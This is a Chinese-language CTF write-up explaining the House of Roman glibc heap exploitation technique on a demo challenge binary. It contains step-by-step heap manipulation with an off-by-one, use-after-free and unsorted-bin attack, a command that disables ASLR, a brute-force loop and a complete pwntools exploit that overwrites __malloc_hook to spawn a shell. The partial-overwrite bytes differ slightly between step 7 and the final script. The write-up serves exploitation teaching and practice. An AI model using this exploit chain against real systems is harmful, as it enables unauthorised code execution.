House Of Roman

fastbin attack 和 Unsortbin attack 结合的bypass ALSR,利用 12-bit 的爆破,在有uaf和off by one但没办法泄露地址时,局部写 减少随机化的程度,从而给出爆破的可能

demo分析

https://github.com/romanking98/House-Of-Roman

grxer@Ubuntu16 /m/h/s/c/p/h/House-Of-Roman> checksec ./new_chall 
[*] '/mnt/hgfs/share/ctfwiki/pwn/heap/House-Of-Roman/new_chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

write_chunk有off by one

free_chunk有uaf 和 double free

思路大致就是下面两个方面

  • 利用unsortedbin attach 往malloc_hook里写入unsortedbin的值

  • 利用fastbin attach来控制malloc_hook,12bit局部写malloc_hook里unsortedbin的值为ogg

1.

create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x68,2) # 0x70

fake = b"A"*0x68
fake += p64(0x71) ## fake size

首先把chunk1+0x78处写上size0x71用于后面fastbinattach

image-20230807144531230

2.

free(1)
create(0xc8,1)把unsortbin写入

image-20230807144800100

3.

create(0x68,3)  # b
create(0x68,15)
create(0x68,18)
over = b"A"*0x18 # off by one
over += b"\x71" # set chunk 1's size --> 0x71
edit(0,over)
free(2)
free(3)
heap_po = b"\x20"
# b()
edit(3,heap_po)

利用off by one和uaf把chunk1放到fastbin链表

image-20230807145444749

4.

malloc_hook_nearly = b"\xed\x1a"
edit(1,malloc_hook_nearly)
# dbpie('0x09B8')#malloc
create(0x68,0)
create(0x68,0)
create(0x68,0)
pwndbg> p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook>
pwndbg> find_fake_fast 0x7ffff7dd1b10 0x70
FAKE CHUNKS
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7ffff7dd1aed
prev_size: 0x-822fda0000000
size: 0x7f
fd: 0x-856d160000000
bk: 0x-856d58fffff81
fd_nextsize: 0x7f
bk_nextsize: 0x00

在mallochook上方找一个可以绕过大小检测的堆块,利用uaf把他链入fastbin里

image-20230807145855329

然后就可以申请出来0x7ffff7dd1aed控制mallochook值了

5.

free(15)
edit(15,p64(0x00))

用来把坏掉的fastbin修复

6.

接下来就是unsortedbin攻击

create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = b"B"*8
po += b"\x00\x1b" #malloc_hook0x7ffff7dd1b10-0x10的位置
edit(1,po)
create(0xc8,1)

image-20230807150730458

image-20230807150811005

然后create(0xc8,1)把bck->fd 即malloc_hook里写入unsorted_chunks的值

bck = victim->bk;
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

7.

over = b"R"*0x13   # padding for malloc_hook
over += b"\xa4\xd3\xaf"
edit(0,over)
b()
free(18)
free(18)

利用之前申请到的包含malloc-hook的堆来修改unsorted_chunks为ogg,free时触发malloc_printerr 从而触发mallochook的ogg

总结

在第四步malloc_hook和第七步的ogg时需要爆破的,由于aslr按照页来随机,所以后面12bit的数字是不变的,我们分析时将aslr关闭echo 0 > /proc/sys/kernel/randomize_va_space,写完exp后再打开运行多次exp,就会有机率爆破到地址一样的情况

#!/bin/bash
for i in `seq 1 5000`; do python exp.py; done;

exp

from pwn
import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./new_chall'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def menu():
io.recvuntil("3. Free")

def create(size,idx):
menu()
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size).encode())
io.recvuntil(":")
io.sendline(str(idx).encode())

def free(idx):
menu()
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx).encode())

def edit(idx,data):
menu()
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx).encode())
sleep(0.1)
io.send(data)
name = b"A"*20
io.recvuntil(":")
io.sendline(name)

# dbpie('0x09B8')#malloc
# dbpie('0x0ACF')#edit
# dbpie('0x931')#free

create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x68,2) # 0x70

fake = b"A"*0x68
fake += p64(0x71) ## fake size
edit(1,fake)
##free掉1到unsortbin,再申请出来就会有unsortedbin地址
free(1)
create(0xc8,1)

create(0x68,3) # b
create(0x68,15)
create(0x68,18)
over = b"A"*0x18 # off by one
over += b"\x71" # set chunk 1's size --> 0x71
edit(0,over)
free(2)
free(3)
#利用uaf把堆块1链入fastbiin
heap_po = b"\x20"
edit(3,heap_po)
#修改fd为mallochook上方
malloc_hook_nearly = b"\xed\x1a"
edit(1,malloc_hook_nearly)
# dbpie('0x09B8')#malloc
create(0x68,0)
create(0x68,0)
#把mallochook包含到堆块里
create(0x68,0)
#修复坏掉的fastbin
free(15)
# dbpie('0x0ACF')#edit
edit(15,p64(0x00))
# dbpie('0x09B8')#malloc

create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
# unsortedbin attach
free(1)
po = b"B"*8
po += b"\x00\x1b"
# dbpie('0x0ACF')#edit
dbpie('0x09B8')#malloc
edit(1,po)
create(0xc8,1)

#利用之前申请的包含mallochook的堆块去局部覆写malloc_hook
over = b"R"*0x13 # padding for malloc_hook
over += b"\xa4\xd2\xaf"
edit(0,over)
free(18)
free(18)
ru(b'***\n')
sl(b'ls')
try:
resp = io.recv(4, timeout=1)
io.interactive()
except:
io.close()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x7ffff7a52226

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0x7ffff7a5227a

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0x7ffff7afd3a4

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0x7ffff7afe247
'''

image-20230807161504915